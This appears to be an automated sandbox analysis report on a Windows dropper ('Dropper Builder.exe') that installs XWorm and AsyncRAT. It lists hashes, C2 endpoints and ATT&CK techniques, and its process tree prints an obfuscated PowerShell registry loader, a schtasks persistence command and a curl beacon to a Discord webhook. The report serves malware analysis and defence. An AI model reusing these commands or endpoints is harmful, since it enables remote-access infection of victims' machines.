Analysis

  • max time kernel
    149s
  • max time network
    3s
  • platform
    windows7_x64
  • resource
    win7-20240220-en
  • resource tags

    arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
  • submitted
    22-06-2024 05:51

General

  • Target

    Dropper Builder.exe

  • Size

    18.6MB

  • MD5

    c660fd4addbfaa81fac0a1f5d39cd000

  • SHA1

    7d1aaa224037b1ade30bb951ee04989b73d71a81

  • SHA256

    7e19aad8690328d389e5d037dd47c4fdcea7775ad69a0755c3e2eeba1df44ed8

  • SHA512

    a53d1608adb02d2b7ad7109490e1dce4b073cf622a291b52cea8794ba3c0296248fa87fb8305893cfb65d44f500afc7057375368eff2fd0a2e872a6420e8d5c9

  • SSDEEP

    98304:c+R1sVuWzOYBvDdXCxGSQjJQaoyqUIIdZicEMtECV:ckCzFvDdXCcSQLbqUISpEMW

Malware Config

Extracted

Family

xworm

C2

politics-fiber.gl.at.ply.gg:47430

Attributes
  • Install_directory

    %AppData%

  • install_file

    $77-scchost.exe

Extracted

Family

asyncrat

Botnet

Default

C2

environmental-blank.gl.at.ply.gg:25944

Attributes
  • delay

    1

  • install

    true

  • install_file

    $77-aachost.exe

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Detect Xworm Payload 2 IoCs
  • Modifies security service 2 TTPs 2 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Async RAT payload 1 IoCs
  • Executes dropped EXE 7 IoCs
  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 23 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\winlogon.exe
    winlogon.exe
    1⤵
      PID:436
      • C:\Windows\System32\dllhost.exe
        C:\Windows\System32\dllhost.exe /Processid:{daab0e6c-6a8d-4eda-b12e-9f83114d2cb3}
        2⤵
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1452
        • C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
          "C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2600
          • C:\Windows\System32\schtasks.exe
            "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77-scchost" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\$77-scchost.exe"
            4⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1748
        • C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
          "C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
          3⤵
          • Executes dropped EXE
          • Modifies data under HKEY_USERS
          PID:1556
        • C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
          "C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
          3⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious use of AdjustPrivilegeToken
          PID:2164
    • C:\Windows\system32\services.exe
      C:\Windows\system32\services.exe
      1⤵
        PID:480
        • C:\Windows\system32\svchost.exe
          C:\Windows\system32\svchost.exe -k DcomLaunch
          2⤵
            PID:596
          • C:\Windows\system32\svchost.exe
            C:\Windows\system32\svchost.exe -k RPCSS
            2⤵
              PID:676
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
              2⤵
              • Modifies security service
              PID:764
            • C:\Windows\System32\svchost.exe
              C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
              2⤵
                PID:808
                • C:\Windows\system32\Dwm.exe
                  "C:\Windows\system32\Dwm.exe"
                  3⤵
                    PID:1152
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k netsvcs
                  2⤵
                    PID:852
                    • C:\Windows\system32\taskeng.exe
                      taskeng.exe {8BB70116-71DD-4957-97E3-AA92E9FF9BF5} S-1-5-18:NT AUTHORITY\System:Service:
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2452
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'OF'+[Char](84)+''+'W'+''+'A'+''+'R'+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+'7'+'s'+[Char](116)+''+[Char](97)+'g'+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"
                        4⤵
                        • Suspicious use of NtCreateUserProcessOtherParentProcess
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Modifies data under HKEY_USERS
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        • Suspicious use of WriteProcessMemory
                        PID:2860
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalService
                    2⤵
                      PID:964
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k NetworkService
                      2⤵
                        PID:108
                      • C:\Windows\System32\spoolsv.exe
                        C:\Windows\System32\spoolsv.exe
                        2⤵
                          PID:1036
                        • C:\Windows\system32\taskhost.exe
                          "taskhost.exe"
                          2⤵
                            PID:1060
                          • C:\Windows\system32\svchost.exe
                            C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
                            2⤵
                              PID:1116
                            • C:\Windows\system32\svchost.exe
                              C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
                              2⤵
                                PID:3008
                              • C:\Windows\system32\sppsvc.exe
                                C:\Windows\system32\sppsvc.exe
                                2⤵
                                  PID:1940
                              • C:\Windows\system32\lsass.exe
                                C:\Windows\system32\lsass.exe
                                1⤵
                                  PID:496
                                • C:\Windows\system32\lsm.exe
                                  C:\Windows\system32\lsm.exe
                                  1⤵
                                    PID:504
                                  • C:\Windows\Explorer.EXE
                                    C:\Windows\Explorer.EXE
                                    1⤵
                                      PID:1188
                                      • C:\Users\Admin\AppData\Local\Temp\Dropper Builder.exe
                                        "C:\Users\Admin\AppData\Local\Temp\Dropper Builder.exe"
                                        2⤵
                                        • Loads dropped DLL
                                        • Suspicious use of WriteProcessMemory
                                        PID:2100
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c curl "https://discord.com/api/webhooks/1253936460533596222/A6HxzIjIDIKyWDj0ckcP1MgqmlK_CMtEmYhM4dwuWmPFk2q_02wySjZSHZuHPAmtdoBM" -X POST -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0" -H "Accept: application/json" -H "Accept-Language: en" -H "Accept-Encoding: gzip, deflate, br" -H "Referer: https://discohook.org/" -H "Content-Type: application/json" -H "Origin: https://discohook.org" -H "Connection: keep-alive" -H "Sec-Fetch-Dest: empty" -H "Sec-Fetch-Mode: cors" -H "Sec-Fetch-Site: cross-site" -H "TE: trailers" --data-raw "{""content"":""`Admin` Ran The File!"",""embeds"":null,""avatar_url"":""https://us.rule34.xxx//samples/1568/sample_2462f27a30bcbb733609276995ca37d4a7c91a2d.jpg?10163103"",""attachments"":[]}"
                                          3⤵
                                            PID:2512
                                          • C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                            "C:\Users\Admin\AppData\Local\Temp\$77-sdchost.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2640
                                          • C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                            "C:\Users\Admin\AppData\Local\Temp\$77-aachost.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:2696
                                          • C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                            "C:\Users\Admin\AppData\Local\Temp\$77-penisballs.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:2764
                                          • C:\Users\Admin\AppData\Local\Temp\$77-install.exe
                                            "C:\Users\Admin\AppData\Local\Temp\$77-install.exe"
                                            3⤵
                                            • Executes dropped EXE
                                            PID:2680
                                      • C:\Windows\system32\conhost.exe
                                        \??\C:\Windows\system32\conhost.exe "-15327495092059029896608600068-1704279424-499724045-312915142-1734203391-623858314"
                                        1⤵
                                          PID:2072

                                        Network

                                        MITRE ATT&CK Matrix ATT&CK v13

                                        Execution

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        Persistence

                                        Create or Modify System Process

                                        1
                                        T1543

                                        Windows Service

                                        1
                                        T1543.003

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        Privilege Escalation

                                        Create or Modify System Process

                                        1
                                        T1543

                                        Windows Service

                                        1
                                        T1543.003

                                        Scheduled Task/Job

                                        1
                                        T1053

                                        Scheduled Task

                                        1
                                        T1053.005

                                        Defense Evasion

                                        Modify Registry

                                        1
                                        T1112

                                        Discovery

                                        System Information Discovery

                                        1
                                        T1082

                                        Query Registry

                                        1
                                        T1012

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • \Users\Admin\AppData\Local\Temp\$77-aachost.exe
                                          Filesize

                                          66KB

                                          MD5

                                          f10712f4faa374be8f37668c5ebed4a6

                                          SHA1

                                          bb30e941c4f91ae3178539e993abecbfd838fdb0

                                          SHA256

                                          d66c793c2e3290b3996b54f5a2fc2c1973fc41677ec46ce0e0e30aa4e7916acf

                                          SHA512

                                          cb838ec3d65ca49bb25bd93e06666e6c2640c66fd0b68fc826ca763a3dedcc4d4033abab7cfca2fff3bf08ed98d14533abf19026fd9d1845dbf09fcb241840ac

                                        • \Users\Admin\AppData\Local\Temp\$77-install.exe
                                          Filesize

                                          163KB

                                          MD5

                                          1a7d1b5d24ba30c4d3d5502295ab5e89

                                          SHA1

                                          2d5e69cf335605ba0a61f0bbecbea6fc06a42563

                                          SHA256

                                          b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

                                          SHA512

                                          859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

                                        • \Users\Admin\AppData\Local\Temp\$77-penisballs.exe
                                          Filesize

                                          256KB

                                          MD5

                                          18f497deffe88b6b2cff336a277aface

                                          SHA1

                                          4e1413241d3d3e4dbff399d179f8fd64f3ecd39e

                                          SHA256

                                          8133c3c1e5dde7c9b4d9d5c9a07e37b733fd0223fc9d035c3f386f034a434af5

                                          SHA512

                                          35c804ec73001fe66d57bd2fadc51cd399edbc2e550c4257f29aac5a24a9f9c030c582d50239dec41605801263fd5739444aa14f9683f99f726152cc1bb6920d

                                        • \Users\Admin\AppData\Local\Temp\$77-sdchost.exe
                                          Filesize

                                          50KB

                                          MD5

                                          77a71f3a441aa3bf824967e52413bec5

                                          SHA1

                                          c3d6df5cfc5eefaadf9bcb3703484e3cadf79588

                                          SHA256

                                          1e6c87e492d90fbc4b9d2a16676a58735e33861f780c6c3020869337a0ccfc82

                                          SHA512

                                          31c413cb410b366b63f0e763e288c2795584f9c7fda41eeea45f7d32a853da87e3ab58a144ff02a75b1d1803c7fef9fe3d561133a50a4e600799ed6f9050fd5b

                                        • memory/436-65-0x00000000373E0000-0x00000000373F0000-memory.dmp
                                          Filesize

                                          64KB

                                        • memory/436-57-0x0000000000420000-0x000000000044B000-memory.dmp
                                          Filesize

                                          172KB

                                        • memory/436-53-0x00000000003F0000-0x0000000000415000-memory.dmp
                                          Filesize

                                          148KB

                                        • memory/436-63-0x0000000000420000-0x000000000044B000-memory.dmp
                                          Filesize

                                          172KB

                                        • memory/436-64-0x000007FEBDC30000-0x000007FEBDC40000-memory.dmp
                                          Filesize

                                          64KB

                                        • memory/436-51-0x00000000003F0000-0x0000000000415000-memory.dmp
                                          Filesize

                                          148KB

                                        • memory/436-54-0x0000000000420000-0x000000000044B000-memory.dmp
                                          Filesize

                                          172KB

                                        • memory/480-78-0x0000000000CE0000-0x0000000000D0B000-memory.dmp
                                          Filesize

                                          172KB

                                        • memory/480-80-0x00000000373E0000-0x00000000373F0000-memory.dmp
                                          Filesize

                                          64KB

                                        • memory/480-79-0x000007FEBDC30000-0x000007FEBDC40000-memory.dmp
                                          Filesize

                                          64KB

                                        • memory/480-72-0x0000000000CE0000-0x0000000000D0B000-memory.dmp
                                          Filesize

                                          172KB

                                        • memory/496-86-0x0000000000990000-0x00000000009BB000-memory.dmp
                                          Filesize

                                          172KB

                                        • memory/496-92-0x0000000000990000-0x00000000009BB000-memory.dmp
                                          Filesize

                                          172KB

                                        • memory/496-93-0x000007FEBDC30000-0x000007FEBDC40000-memory.dmp
                                          Filesize

                                          64KB

                                        • memory/496-94-0x00000000373E0000-0x00000000373F0000-memory.dmp
                                          Filesize

                                          64KB

                                        • memory/504-100-0x0000000000480000-0x00000000004AB000-memory.dmp
                                          Filesize

                                          172KB

                                        • memory/1452-46-0x00000000773A0000-0x0000000077549000-memory.dmp
                                          Filesize

                                          1.7MB

                                        • memory/1452-43-0x0000000140000000-0x0000000140008000-memory.dmp
                                          Filesize

                                          32KB

                                        • memory/1452-40-0x0000000140000000-0x0000000140008000-memory.dmp
                                          Filesize

                                          32KB

                                        • memory/1452-42-0x0000000140000000-0x0000000140008000-memory.dmp
                                          Filesize

                                          32KB

                                        • memory/1452-45-0x0000000140000000-0x0000000140008000-memory.dmp
                                          Filesize

                                          32KB

                                        • memory/1452-48-0x0000000140000000-0x0000000140008000-memory.dmp
                                          Filesize

                                          32KB

                                        • memory/1452-47-0x0000000077280000-0x000000007739F000-memory.dmp
                                          Filesize

                                          1.1MB

                                        • memory/1452-41-0x0000000140000000-0x0000000140008000-memory.dmp
                                          Filesize

                                          32KB

                                        • memory/2100-0-0x00000000745AE000-0x00000000745AF000-memory.dmp
                                          Filesize

                                          4KB

                                        • memory/2100-1-0x0000000000E30000-0x00000000020D0000-memory.dmp
                                          Filesize

                                          18.6MB

                                        • memory/2640-11-0x0000000001170000-0x0000000001182000-memory.dmp
                                          Filesize

                                          72KB

                                        • memory/2696-19-0x0000000000F10000-0x0000000000F26000-memory.dmp
                                          Filesize

                                          88KB

                                        • memory/2764-33-0x00000000001C0000-0x00000000001C6000-memory.dmp
                                          Filesize

                                          24KB

                                        • memory/2764-27-0x0000000001030000-0x0000000001076000-memory.dmp
                                          Filesize

                                          280KB

                                        • memory/2860-39-0x0000000077280000-0x000000007739F000-memory.dmp
                                          Filesize

                                          1.1MB

                                        • memory/2860-35-0x0000000019FD0000-0x000000001A2B2000-memory.dmp
                                          Filesize

                                          2.9MB

                                        • memory/2860-36-0x0000000000DB0000-0x0000000000DB8000-memory.dmp
                                          Filesize

                                          32KB

                                        • memory/2860-37-0x0000000001540000-0x000000000156A000-memory.dmp
                                          Filesize

                                          168KB

                                        • memory/2860-38-0x00000000773A0000-0x0000000077549000-memory.dmp
                                          Filesize

                                          1.7MB